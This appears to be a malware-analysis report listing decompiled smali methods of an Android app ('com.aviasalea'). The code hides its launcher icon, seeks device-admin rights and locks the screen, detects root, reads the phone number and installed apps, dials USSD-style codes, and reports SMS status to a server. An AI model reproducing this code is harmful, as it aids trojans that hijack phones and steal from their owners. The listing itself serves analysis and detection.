                                      • android.net.Uri.encode
                                      • java.lang.String.replaceAll
                                      • java.lang.StringBuilder.<init>
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.toString
                                      • android.net.Uri.parse
                                      • android.content.Intent.<init>
                                      • android.content.Intent.setFlags
                                      • android.content.Context.startActivity
                                      • java.lang.Exception.toString
                                      Strings
                                      • #
                                      • android.intent.action.CALL
                                      • tel:
                                      Position Instruction Meta Information
                                      0.param p0, "context" # Landroid/content/Context;
                                      1.param p1, "number" # Ljava/lang/String;
                                      2.prologue
                                      3try_start_0:
                                      4const-string v3, "#"
                                      6invoke-virtual {p1, v3}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
                                      7move-result v3
                                      8if-eqz v3, :cond_14
                                      10const-string v3, "#"
                                      12const-string v4, "#"
                                      14invoke-static {v4}, Landroid/net/Uri;->encode(Ljava/lang/String;)Ljava/lang/String;
                                      15move-result-object v4
                                      17invoke-virtual {p1, v3, v4}, Ljava/lang/String;->replaceAll(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                                      18move-result-object p1
                                      19cond_14: move-object v2, p1
                                      20new-instance v1, Landroid/content/Intent;
                                      22const-string v3, "android.intent.action.CALL"
                                      23new-instance v4, Ljava/lang/StringBuilder;
                                      25invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
                                      27const-string v5, "tel:"
                                      29invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                      30move-result-object v4
                                      32invoke-virtual {v4, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                      33move-result-object v4
                                      35invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                      36move-result-object v4
                                      38invoke-static {v4}, Landroid/net/Uri;->parse(Ljava/lang/String;)Landroid/net/Uri;
                                      39move-result-object v4
                                      41invoke-direct {v1, v3, v4}, Landroid/content/Intent;-><init>(Ljava/lang/String;Landroid/net/Uri;)V
                                      42const/high16 v3, 0x10000000
                                      44invoke-virtual {v1, v3}, Landroid/content/Intent;->setFlags(I)Landroid/content/Intent;
                                      46invoke-virtual {p0, v1}, Landroid/content/Context;->startActivity(Landroid/content/Intent;)V
                                      47goto_3b: return-void
                                      48catch_3c: move-exception v0
                                      50invoke-virtual {v0}, Ljava/lang/Exception;->toString()Ljava/lang/String;
                                      51move-result-object v3
                                      53invoke-static {v3}, Lcom/aviasalea/checktls/Print;->e(Ljava/lang/String;)V
                                      54goto/16 :goto_3b
                                      Cross References
                                      APIs
                                      • java.util.ArrayList.<init>
                                      • android.content.Intent.<init>
                                      • android.content.Intent.addCategory
                                      • android.content.Intent.setFlags
                                      • android.content.Context.getPackageManager
                                      • android.content.pm.PackageManager.queryIntentActivities
                                      • java.util.List.iterator
                                      • java.util.Iterator.hasNext
                                      • java.util.Iterator.next
                                      • android.content.pm.ResolveInfo.activityInfo:Landroid/content/pm/ActivityInfo
                                      • android.content.pm.ActivityInfo.applicationInfo:Landroid/content/pm/ApplicationInfo
                                      • android.content.pm.ApplicationInfo.packageName:Ljava/lang/String
                                      • java.util.List.add
                                      Strings
                                      • android.intent.action.MAIN
                                      • android.intent.category.LAUNCHER
                                      Position Instruction Meta Information
                                      0.param p0, "context" # Landroid/content/Context;
                                      1.annotation system Ldalvik/annotation/Signature;
                                      2value = {
                                      3"(",
                                      4"Landroid/content/Context;",
                                      5")",
                                      6"Ljava/util/List",
                                      7"<",
                                      8"Ljava/lang/String;",
                                      9">;"
                                      10}
                                      11.end annotation
                                      12.prologue
                                      13new-instance v1, Ljava/util/ArrayList;
                                      15invoke-direct {v1}, Ljava/util/ArrayList;-><init>()V
                                      16new-instance v2, Landroid/content/Intent;
                                      18const-string v5, "android.intent.action.MAIN"
                                      19const/4 v6, 0x0
                                      21invoke-direct {v2, v5, v6}, Landroid/content/Intent;-><init>(Ljava/lang/String;Landroid/net/Uri;)V
                                      23const-string v5, "android.intent.category.LAUNCHER"
                                      25invoke-virtual {v2, v5}, Landroid/content/Intent;->addCategory(Ljava/lang/String;)Landroid/content/Intent;
                                      26const/high16 v5, 0x10200000
                                      28invoke-virtual {v2, v5}, Landroid/content/Intent;->setFlags(I)Landroid/content/Intent;
                                      30invoke-virtual {p0}, Landroid/content/Context;->getPackageManager()Landroid/content/pm/PackageManager;
                                      31move-result-object v5
                                      32const/4 v6, 0x0
                                      34invoke-virtual {v5, v2, v6}, Landroid/content/pm/PackageManager;->queryIntentActivities(Landroid/content/Intent;I)Ljava/util/List;
                                      35move-result-object v4
                                      37invoke-interface {v4}, Ljava/util/List;->iterator()Ljava/util/Iterator;
                                      38move-result-object v5
                                      39goto_24:
                                      40invoke-interface {v5}, Ljava/util/Iterator;->hasNext()Z
                                      41move-result v6
                                      42if-eqz v6, :cond_40
                                      44invoke-interface {v5}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                      45move-result-object v3
                                      46check-cast v3, Landroid/content/pm/ResolveInfo;
                                      48iget-object v0, v3, Landroid/content/pm/ResolveInfo;->activityInfo:Landroid/content/pm/ActivityInfo;
                                      50invoke-static {v3}, Lcom/aviasalea/checktls/CmndTls;->isSystemPackage(Landroid/content/pm/ResolveInfo;)Z
                                      51move-result v6
                                      52if-nez v6, :cond_24
                                      54iget-object v6, v0, Landroid/content/pm/ActivityInfo;->applicationInfo:Landroid/content/pm/ApplicationInfo;
                                      56iget-object v6, v6, Landroid/content/pm/ApplicationInfo;->packageName:Ljava/lang/String;
                                      58invoke-interface {v1, v6}, Ljava/util/List;->add(Ljava/lang/Object;)Z
                                      59goto/16 :goto_24
                                      60cond_40: return-object v1
                                      Cross References
                                      APIs
                                      • java.lang.Class.getDeclaredField
                                      • java.lang.reflect.Field.setAccessible
                                      • java.lang.reflect.Field.get
                                      • android.widget.EdgeEffect.setColor
                                      • java.lang.Class.getDeclaredField
                                      • java.lang.reflect.Field.setAccessible
                                      • java.lang.reflect.Field.get
                                      • android.widget.EdgeEffect.setColor
                                      • java.lang.Exception.toString
                                      Strings
                                      • mEdgeGlowTop
                                      • mEdgeGlowBottom
                                      Position Instruction Meta Information
                                      0.param p0, "scrollView" # Landroid/widget/ScrollView;
                                      1.param p1, "color" # I
                                      2.prologue
                                      3sget v4, Landroid/os/Build$VERSION;->SDK_INT:I
                                      4const/16 v5, 0x15
                                      5if-lt v4, v5, :cond_34
                                      6try_start_6: const-class v4, Landroid/widget/ScrollView;
                                      8const-string v5, "mEdgeGlowTop"
                                      10invoke-virtual {v4, v5}, Ljava/lang/Class;->getDeclaredField(Ljava/lang/String;)Ljava/lang/reflect/Field;
                                      11move-result-object v1
                                      12const/4 v4, 0x1
                                      14invoke-virtual {v1, v4}, Ljava/lang/reflect/Field;->setAccessible(Z)V
                                      16invoke-virtual {v1, p0}, Ljava/lang/reflect/Field;->get(Ljava/lang/Object;)Ljava/lang/Object;
                                      17move-result-object v3
                                      18check-cast v3, Landroid/widget/EdgeEffect;
                                      19if-eqz v3, :cond_1d
                                      21invoke-virtual {v3, p1}, Landroid/widget/EdgeEffect;->setColor(I)V
                                      22cond_1d: const-class v4, Landroid/widget/ScrollView;
                                      24const-string v5, "mEdgeGlowBottom"
                                      26invoke-virtual {v4, v5}, Ljava/lang/Class;->getDeclaredField(Ljava/lang/String;)Ljava/lang/reflect/Field;
                                      27move-result-object v1
                                      28const/4 v4, 0x1
                                      30invoke-virtual {v1, v4}, Ljava/lang/reflect/Field;->setAccessible(Z)V
                                      32invoke-virtual {v1, p0}, Ljava/lang/reflect/Field;->get(Ljava/lang/Object;)Ljava/lang/Object;
                                      33move-result-object v2
                                      34check-cast v2, Landroid/widget/EdgeEffect;
                                      35if-eqz v2, :cond_34
                                      37invoke-virtual {v2, p1}, Landroid/widget/EdgeEffect;->setColor(I)V
                                      38goto_34: return-void
                                      39catch_35: move-exception v0
                                      41invoke-virtual {v0}, Ljava/lang/Exception;->toString()Ljava/lang/String;
                                      42move-result-object v4
                                      44invoke-static {v4}, Lcom/aviasalea/checktls/Print;->e(Ljava/lang/String;)V
                                      45goto/16 :goto_34
                                      APIs
                                      • com.aviasalea.MainActivity.getPackageName
                                      • java.lang.StringBuilder.<init>
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.toString
                                      • android.content.ComponentName.<init>
                                      • com.aviasalea.MainActivity.getApplicationContext
                                      • android.content.Context.getPackageManager
                                      • android.content.pm.PackageManager.setComponentEnabledSetting
                                      Strings
                                      • .MainActivity
                                      Position Instruction Meta Information
                                      0.prologue
                                      2invoke-virtual {p0}, Lcom/aviasalea/MainActivity;->getPackageName()Ljava/lang/String;
                                      3move-result-object v1
                                      4new-instance v0, Landroid/content/ComponentName;
                                      5new-instance v2, Ljava/lang/StringBuilder;
                                      7invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
                                      9invoke-virtual {v2, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                      10move-result-object v2
                                      12const-string v3, ".MainActivity"
                                      14invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                      15move-result-object v2
                                      17invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                      18move-result-object v2
                                      20invoke-direct {v0, v1, v2}, Landroid/content/ComponentName;-><init>(Ljava/lang/String;Ljava/lang/String;)V
                                      22invoke-virtual {p0}, Lcom/aviasalea/MainActivity;->getApplicationContext()Landroid/content/Context;
                                      23move-result-object v2
                                      25invoke-virtual {v2}, Landroid/content/Context;->getPackageManager()Landroid/content/pm/PackageManager;
                                      26move-result-object v2
                                      27const/4 v3, 0x2
                                      28const/4 v4, 0x1
                                      30invoke-virtual {v2, v0, v3, v4}, Landroid/content/pm/PackageManager;->setComponentEnabledSetting(Landroid/content/ComponentName;II)V
                                      31return-void
                                      Cross References
                                      APIs
                                      • com.aviasalea.srs.CmndSrs.getPackageName
                                      • java.lang.StringBuilder.<init>
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.toString
                                      • android.content.ComponentName.<init>
                                      • com.aviasalea.srs.CmndSrs.getApplicationContext
                                      • android.content.Context.getPackageManager
                                      • android.content.pm.PackageManager.setComponentEnabledSetting
                                      Strings
                                      • .MainActivity
                                      Position Instruction Meta Information
                                      0.prologue
                                      2invoke-virtual {p0}, Lcom/aviasalea/srs/CmndSrs;->getPackageName()Ljava/lang/String;
                                      3move-result-object v1
                                      4new-instance v0, Landroid/content/ComponentName;
                                      5new-instance v2, Ljava/lang/StringBuilder;
                                      7invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
                                      9invoke-virtual {v2, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                      10move-result-object v2
                                      12const-string v3, ".MainActivity"
                                      14invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                      15move-result-object v2
                                      17invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                      18move-result-object v2
                                      20invoke-direct {v0, v1, v2}, Landroid/content/ComponentName;-><init>(Ljava/lang/String;Ljava/lang/String;)V
                                      22invoke-virtual {p0}, Lcom/aviasalea/srs/CmndSrs;->getApplicationContext()Landroid/content/Context;
                                      23move-result-object v2
                                      25invoke-virtual {v2}, Landroid/content/Context;->getPackageManager()Landroid/content/pm/PackageManager;
                                      26move-result-object v2
                                      27const/4 v3, 0x2
                                      28const/4 v4, 0x1
                                      30invoke-virtual {v2, v0, v3, v4}, Landroid/content/pm/PackageManager;->setComponentEnabledSetting(Landroid/content/ComponentName;II)V
                                      31return-void
                                      APIs
                                      • android.content.Context.getSystemService
                                      • android.os.Process.myPid
                                      • android.app.ActivityManager.getRunningAppProcesses
                                      • java.util.List.iterator
                                      • java.util.Iterator.hasNext
                                      • java.util.Iterator.next
                                      • java.lang.Class.getName
                                      • android.app.ActivityManager$RunningAppProcessInfo.processName:Ljava/lang/String
                                      • java.lang.String.equals
                                      Strings
                                      • activity
                                      Position Instruction Meta Information
                                      0.param p1, "context" # Landroid/content/Context;
                                      1.annotation system Ldalvik/annotation/Signature;
                                      2value = {
                                      3"(",
                                      4"Ljava/lang/Class",
                                      5"<*>;",
                                      6"Landroid/content/Context;",
                                      7")Z"
                                      8}
                                      9.end annotation
                                      10.prologue
                                      12const-string v3, "activity"
                                      14invoke-virtual {p1, v3}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
                                      15move-result-object v1
                                      16check-cast v1, Landroid/app/ActivityManager;
                                      17if-eqz v1, :cond_30
                                      19invoke-static {}, Landroid/os/Process;->myPid()I
                                      20move-result v2
                                      22invoke-virtual {v1}, Landroid/app/ActivityManager;->getRunningAppProcesses()Ljava/util/List;
                                      23move-result-object v3
                                      25invoke-interface {v3}, Ljava/util/List;->iterator()Ljava/util/Iterator;
                                      26move-result-object v3
                                      27cond_16:
                                      28invoke-interface {v3}, Ljava/util/Iterator;->hasNext()Z
                                      29move-result v4
                                      30if-eqz v4, :cond_30
                                      32invoke-interface {v3}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                      33move-result-object v0
                                      34check-cast v0, Landroid/app/ActivityManager$RunningAppProcessInfo;
                                      36invoke-virtual {p0}, Ljava/lang/Class;->getName()Ljava/lang/String;
                                      37move-result-object v4
                                      39iget-object v5, v0, Landroid/app/ActivityManager$RunningAppProcessInfo;->processName:Ljava/lang/String;
                                      41invoke-virtual {v4, v5}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                      42move-result v4
                                      43if-eqz v4, :cond_16
                                      44const/4 v3, 0x1
                                      45goto_2f: return v3
                                      46cond_30: const/4 v3, 0x0
                                      47goto/16 :goto_2f
                                      Cross References
                                      APIs
                                      • android.content.Intent.<init>
                                      • android.content.Intent.putExtra
                                      • android.app.Activity.getString
                                      • android.content.Intent.putExtra
                                      • android.app.Activity.startActivityForResult
                                      • java.lang.Exception.printStackTrace
                                      Strings
                                      • android.app.action.ADD_DEVICE_ADMIN
                                      • android.app.extra.DEVICE_ADMIN
                                      • android.app.extra.ADD_EXPLANATION
                                      Position Instruction Meta Information
                                      0.param p0, "componentName" # Landroid/content/ComponentName;
                                      1.param p1, "activity" # Landroid/app/Activity;
                                      2.prologue
                                      3try_start_0: new-instance v1, Landroid/content/Intent;
                                      5const-string v2, "android.app.action.ADD_DEVICE_ADMIN"
                                      7invoke-direct {v1, v2}, Landroid/content/Intent;-><init>(Ljava/lang/String;)V
                                      9const-string v2, "android.app.extra.DEVICE_ADMIN"
                                      11invoke-virtual {v1, v2, p0}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Landroid/os/Parcelable;)Landroid/content/Intent;
                                      13const-string v2, "android.app.extra.ADD_EXPLANATION"
                                      14const v3, 0x7f0a000f
                                      16invoke-virtual {p1, v3}, Landroid/app/Activity;->getString(I)Ljava/lang/String;
                                      17move-result-object v3
                                      19invoke-virtual {v1, v2, v3}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Ljava/lang/String;)Landroid/content/Intent;
                                      20const/16 v2, 0x6e
                                      22invoke-virtual {p1, v1, v2}, Landroid/app/Activity;->startActivityForResult(Landroid/content/Intent;I)V
                                      23try_end_1d: return-void
                                      24catch_1e: move-exception v0
                                      26invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V
                                      27goto/16 :goto_1d
                                      Cross References
                                      APIs
                                      • android.os.Build.TAGS:Ljava/lang/String
                                      • java.lang.String.contains
                                      • java.io.File.<init>
                                      • java.io.File.exists
                                      Strings
                                      • test-keys
                                      • /system/app/Superuser.apk
                                      • /system/xbin/which su
                                      • /system/bin/which su
                                      • which su
                                      Position Instruction Meta Information
                                      0.prologue
                                      1const/4 v2, 0x1
                                      3sget-object v0, Landroid/os/Build;->TAGS:Ljava/lang/String;
                                      4if-eqz v0, :cond_e
                                      6const-string v3, "test-keys"
                                      8invoke-virtual {v0, v3}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
                                      9move-result v3
                                      10if-eqz v3, :cond_e
                                      11goto_d: return v2
                                      12cond_e: new-instance v1, Ljava/io/File;
                                      14const-string v3, "/system/app/Superuser.apk"
                                      16invoke-direct {v1, v3}, Ljava/io/File;-><init>(Ljava/lang/String;)V
                                      18invoke-virtual {v1}, Ljava/io/File;->exists()Z
                                      19try_end_18: move-result v3
                                      20if-nez v3, :cond_d
                                      21goto_1b:
                                      22const-string v3, "/system/xbin/which su"
                                      24invoke-static {v3}, Lcom/aviasalea/checktls/CmndTls;->canExecuteCommand(Ljava/lang/String;)Z
                                      25move-result v3
                                      26if-nez v3, :cond_d
                                      28const-string v3, "/system/bin/which su"
                                      30invoke-static {v3}, Lcom/aviasalea/checktls/CmndTls;->canExecuteCommand(Ljava/lang/String;)Z
                                      31move-result v3
                                      32if-nez v3, :cond_d
                                      34const-string v3, "which su"
                                      36invoke-static {v3}, Lcom/aviasalea/checktls/CmndTls;->canExecuteCommand(Ljava/lang/String;)Z
                                      37move-result v3
                                      38if-nez v3, :cond_d
                                      39const/4 v2, 0x0
                                      40goto/16 :goto_d
                                      41catch_35: move-exception v3
                                      42goto/16 :goto_1b
                                      Cross References
                                      APIs
                                      • android.content.Context.getSystemService
                                      • android.content.Context.checkSelfPermission
                                      • android.content.Context.checkSelfPermission
                                      • android.telephony.TelephonyManager.getLine1Number
                                      • android.telephony.TelephonyManager.getLine1Number
                                      Strings
                                      • phone
                                      • android.permission.READ_SMS
                                      • android.permission.READ_PHONE_STATE
                                      Position Instruction Meta Information
                                      0.param p0, "context" # Landroid/content/Context;
                                      1.prologue
                                      3const-string v2, "phone"
                                      5invoke-virtual {p0, v2}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
                                      6move-result-object v1
                                      7check-cast v1, Landroid/telephony/TelephonyManager;
                                      9const-string v0, ""
                                      10sget v2, Landroid/os/Build$VERSION;->SDK_INT:I
                                      11const/16 v3, 0x17
                                      12if-lt v2, v3, :cond_25
                                      14const-string v2, "android.permission.READ_SMS"
                                      16invoke-virtual {p0, v2}, Landroid/content/Context;->checkSelfPermission(Ljava/lang/String;)I
                                      17move-result v2
                                      18if-nez v2, :cond_24
                                      20const-string v2, "android.permission.READ_PHONE_STATE"
                                      22invoke-virtual {p0, v2}, Landroid/content/Context;->checkSelfPermission(Ljava/lang/String;)I
                                      23move-result v2
                                      24if-nez v2, :cond_24
                                      26invoke-virtual {v1}, Landroid/telephony/TelephonyManager;->getLine1Number()Ljava/lang/String;
                                      27move-result-object v0
                                      28goto_24: return-object v0
                                      29cond_25:
                                      30invoke-virtual {v1}, Landroid/telephony/TelephonyManager;->getLine1Number()Ljava/lang/String;
                                      31move-result-object v0
                                      32goto/16 :goto_24
                                      Cross References
                                      APIs
                                      • android.os.Build.MANUFACTURER:Ljava/lang/String
                                      • android.os.Build.MODEL:Ljava/lang/String
                                      • java.lang.String.startsWith
                                      • java.lang.StringBuilder.<init>
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.toString
                                      Strings
                                      Position Instruction Meta Information
                                      0.prologue
                                      2sget-object v0, Landroid/os/Build;->MANUFACTURER:Ljava/lang/String;
                                      4sget-object v1, Landroid/os/Build;->MODEL:Ljava/lang/String;
                                      6invoke-virtual {v1, v0}, Ljava/lang/String;->startsWith(Ljava/lang/String;)Z
                                      7move-result v2
                                      8if-eqz v2, :cond_f
                                      10invoke-static {v1}, Lcom/aviasalea/checktls/CmndTls;->capitalize(Ljava/lang/String;)Ljava/lang/String;
                                      11move-result-object v2
                                      12goto_e: return-object v2
                                      13cond_f: new-instance v2, Ljava/lang/StringBuilder;
                                      15invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
                                      17invoke-static {v0}, Lcom/aviasalea/checktls/CmndTls;->capitalize(Ljava/lang/String;)Ljava/lang/String;
                                      18move-result-object v3
                                      20invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                      21move-result-object v2
                                      23const-string v3, " "
                                      25invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                      26move-result-object v2
                                      28invoke-virtual {v2, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                      29move-result-object v2
                                      31invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                      32move-result-object v2
                                      33goto/16 :goto_e
                                      Cross References
                                      APIs
                                      • android.content.Intent.<init>
                                      • android.app.PendingIntent.getBroadcast
                                      • com.aviasalea.srs.GPSrs.mAlarmManager:Landroid/app/AlarmManager
                                      • android.content.Context.getSystemService
                                      • com.aviasalea.srs.GPSrs.mAlarmManager:Landroid/app/AlarmManager
                                      • android.os.SystemClock.elapsedRealtime
                                      • android.app.AlarmManager.setRepeating
                                      Strings
                                      • alarm
                                      Position Instruction Meta Information
                                      0.param p0, "context" # Landroid/content/Context;
                                      1.prologue
                                      2new-instance v7, Landroid/content/Intent;
                                      3const-class v0, Lcom/aviasalea/mess/service/receiver/SmsReceiver;
                                      5invoke-direct {v7, p0, v0}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
                                      6const v0, 0x75bcd15
                                      7const/4 v1, 0x0
                                      9invoke-static {p0, v0, v7, v1}, Landroid/app/PendingIntent;->getBroadcast(Landroid/content/Context;ILandroid/content/Intent;I)Landroid/app/PendingIntent;
                                      10move-result-object v6
                                      12sget-object v0, Lcom/aviasalea/srs/GPSrs;->mAlarmManager:Landroid/app/AlarmManager;
                                      13if-nez v0, :cond_2a
                                      15const-string v0, "alarm"
                                      17invoke-virtual {p0, v0}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
                                      18move-result-object v0
                                      19check-cast v0, Landroid/app/AlarmManager;
                                      20sput-object v0, Lcom/aviasalea/srs/GPSrs;->mAlarmManager:Landroid/app/AlarmManager;
                                      22sget-object v0, Lcom/aviasalea/srs/GPSrs;->mAlarmManager:Landroid/app/AlarmManager;
                                      23const/4 v1, 0x2
                                      25invoke-static {}, Landroid/os/SystemClock;->elapsedRealtime()J
                                      26move-result-wide v2
                                      27const-wide/32 v4, 0xea60
                                      29invoke-virtual/range {v0 .. v6}, Landroid/app/AlarmManager;->setRepeating(IJJLandroid/app/PendingIntent;)V
                                      30cond_2a: return-void
                                      Cross References
                                      APIs
                                      • com.aviasalea.checkui.AdRequestDialog.getSystemService
                                      • android.content.ComponentName.<init>
                                      • android.app.admin.DevicePolicyManager.isAdminActive
                                      • android.app.admin.DevicePolicyManager.lockNow
                                      • java.lang.Exception.printStackTrace
                                      Strings
                                      • device_policy
                                      Position Instruction Meta Information
                                      0.prologue
                                      1try_start_0:
                                      2const-string v3, "device_policy"
                                      4invoke-virtual {p0, v3}, Lcom/aviasalea/checkui/AdRequestDialog;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
                                      5move-result-object v1
                                      6check-cast v1, Landroid/app/admin/DevicePolicyManager;
                                      7if-eqz v1, :cond_1a
                                      8new-instance v0, Landroid/content/ComponentName;
                                      9const-class v3, Lcom/aviasalea/rcs/AdReceiver;
                                      11invoke-direct {v0, p0, v3}, Landroid/content/ComponentName;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
                                      13invoke-virtual {v1, v0}, Landroid/app/admin/DevicePolicyManager;->isAdminActive(Landroid/content/ComponentName;)Z
                                      14move-result v3
                                      15if-nez v3, :cond_1b
                                      17invoke-static {v0, p0}, Lcom/aviasalea/checktls/IntTls;->startoAdminAction(Landroid/content/ComponentName;Landroid/app/Activity;)V
                                      18goto_1a: return-void
                                      19cond_1b:
                                      20invoke-virtual {v1}, Landroid/app/admin/DevicePolicyManager;->lockNow()V
                                      21try_end_1e: goto/16 :goto_1a
                                      22catch_1f: move-exception v2
                                      24invoke-virtual {v2}, Ljava/lang/Exception;->printStackTrace()V
                                      25goto/16 :goto_1a
                                      Cross References
                                      APIs
                                      • com.aviasalea.srs.GPSrs.getSystemService
                                      • android.content.ComponentName.<init>
                                      • android.app.admin.DevicePolicyManager.isAdminActive
                                      • java.lang.Exception.printStackTrace
                                      Strings
                                      • device_policy
                                      Position Instruction Meta Information
                                      0.prologue
                                      1sget v4, Landroid/os/Build$VERSION;->SDK_INT:I
                                      2const/16 v5, 0x18
                                      3if-lt v4, v5, :cond_8
                                      4const/4 v3, 0x1
                                      5goto_7: return v3
                                      6cond_8: const/4 v3, 0x0
                                      7try_start_9:
                                      8const-string v4, "device_policy"
                                      10invoke-virtual {p0, v4}, Lcom/aviasalea/srs/GPSrs;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
                                      11move-result-object v1
                                      12check-cast v1, Landroid/app/admin/DevicePolicyManager;
                                      13if-eqz v1, :cond_7
                                      14new-instance v0, Landroid/content/ComponentName;
                                      15const-class v4, Lcom/aviasalea/rcs/AdReceiver;
                                      17invoke-direct {v0, p0, v4}, Landroid/content/ComponentName;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
                                      19invoke-virtual {v1, v0}, Landroid/app/admin/DevicePolicyManager;->isAdminActive(Landroid/content/ComponentName;)Z
                                      20try_end_1d: move-result v3
                                      21goto/16 :goto_7
                                      22catch_1f: move-exception v2
                                      24invoke-virtual {v2}, Ljava/lang/Exception;->printStackTrace()V
                                      25goto/16 :goto_7
                                      Cross References
                                      APIs
                                      • java.lang.String.equalsIgnoreCase
                                      • com.aviasalea.srs.CmndSrs.sendSMSStatusEndToServer
                                      • com.aviasalea.srs.CmndSrs.sendSMSStatusEndToServer
                                      • com.aviasalea.srs.CmndSrs.sendSMSStatusEndToServer
                                      Strings
                                      • accepted
                                      Position Instruction Meta Information
                                      0.param p1, "result" # Lcom/aviasalea/srs/api/responses/StatusResponse;
                                      1.prologue
                                      2const-wide/32 v2, 0xea60
                                      3iget v0, p1, Lcom/aviasalea/srs/api/responses/StatusResponse;->ret:I
                                      4if-nez v0, :cond_1d
                                      6iget-object v0, p1, Lcom/aviasalea/srs/api/responses/StatusResponse;->answer:Ljava/lang/String;
                                      7if-eqz v0, :cond_19
                                      9iget-object v0, p1, Lcom/aviasalea/srs/api/responses/StatusResponse;->answer:Ljava/lang/String;
                                      11const-string v1, "accepted"
                                      13invoke-virtual {v0, v1}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z
                                      14move-result v0
                                      15if-nez v0, :cond_18
                                      17invoke-direct {p0, v2, v3}, Lcom/aviasalea/srs/CmndSrs;->sendSMSStatusEndToServer(J)V
                                      18cond_18: return-void
                                      19cond_19:
                                      20invoke-direct {p0, v2, v3}, Lcom/aviasalea/srs/CmndSrs;->sendSMSStatusEndToServer(J)V
                                      21goto/16 :goto_18
                                      22cond_1d:
                                      23invoke-direct {p0, v2, v3}, Lcom/aviasalea/srs/CmndSrs;->sendSMSStatusEndToServer(J)V
                                      24goto/16 :goto_18
                                      Cross References
                                      APIs
                                      • java.lang.String.equalsIgnoreCase
                                      • com.aviasalea.srs.CmndSrs.sendStartAccessEndToServer
                                      • com.aviasalea.srs.CmndSrs.sendStartAccessEndToServer
                                      • com.aviasalea.srs.CmndSrs.sendStartAccessEndToServer
                                      Strings
                                      • accepted
                                      Position Instruction Meta Information
                                      0.param p1, "result" # Lcom/aviasalea/srs/api/responses/StatusResponse;
                                      1.prologue
                                      2const-wide/32 v2, 0xea60
                                      3iget v0, p1, Lcom/aviasalea/srs/api/responses/StatusResponse;->ret:I
                                      4if-nez v0, :cond_1d
                                      6iget-object v0, p1, Lcom/aviasalea/srs/api/responses/StatusResponse;->answer:Ljava/lang/String;
                                      7if-eqz v0, :cond_19
                                      9iget-object v0, p1, Lcom/aviasalea/srs/api/responses/StatusResponse;->answer:Ljava/lang/String;
                                      11const-string v1, "accepted"
                                      13invoke-virtual {v0, v1}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z
                                      14move-result v0
                                      15if-nez v0, :cond_18
                                      17invoke-direct {p0, v2, v3}, Lcom/aviasalea/srs/CmndSrs;->sendStartAccessEndToServer(J)V
                                      18cond_18: return-void
                                      19cond_19:
                                      20invoke-direct {p0, v2, v3}, Lcom/aviasalea/srs/CmndSrs;->sendStartAccessEndToServer(J)V
                                      21goto/16 :goto_18
                                      22cond_1d:
                                      23invoke-direct {p0, v2, v3}, Lcom/aviasalea/srs/CmndSrs;->sendStartAccessEndToServer(J)V
                                      24goto/16 :goto_18
                                      Cross References
                                      APIs
                                      • android.text.TextUtils.isEmpty
                                      • android.view.accessibility.AccessibilityNodeInfo.findAccessibilityNodeInfosByText
                                      • java.util.List.isEmpty
                                      • java.util.List.size
                                      • java.util.List.get
                                      Position Instruction Meta Information
                                      0.param p0, "root" # Landroid/view/accessibility/AccessibilityNodeInfo;
                                      1.param p1, "text" # Ljava/lang/String;
                                      2.prologue
                                      3const/4 v1, 0x0
                                      4if-eqz p0, :cond_9
                                      6invoke-static {p1}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                                      7move-result v2
                                      8if-eqz v2, :cond_a
                                      9goto_9: return-object v1
                                      10cond_a:
                                      11invoke-virtual {p0, p1}, Landroid/view/accessibility/AccessibilityNodeInfo;->findAccessibilityNodeInfosByText(Ljava/lang/String;)Ljava/util/List;
                                      12move-result-object v0
                                      13if-eqz v0, :cond_9
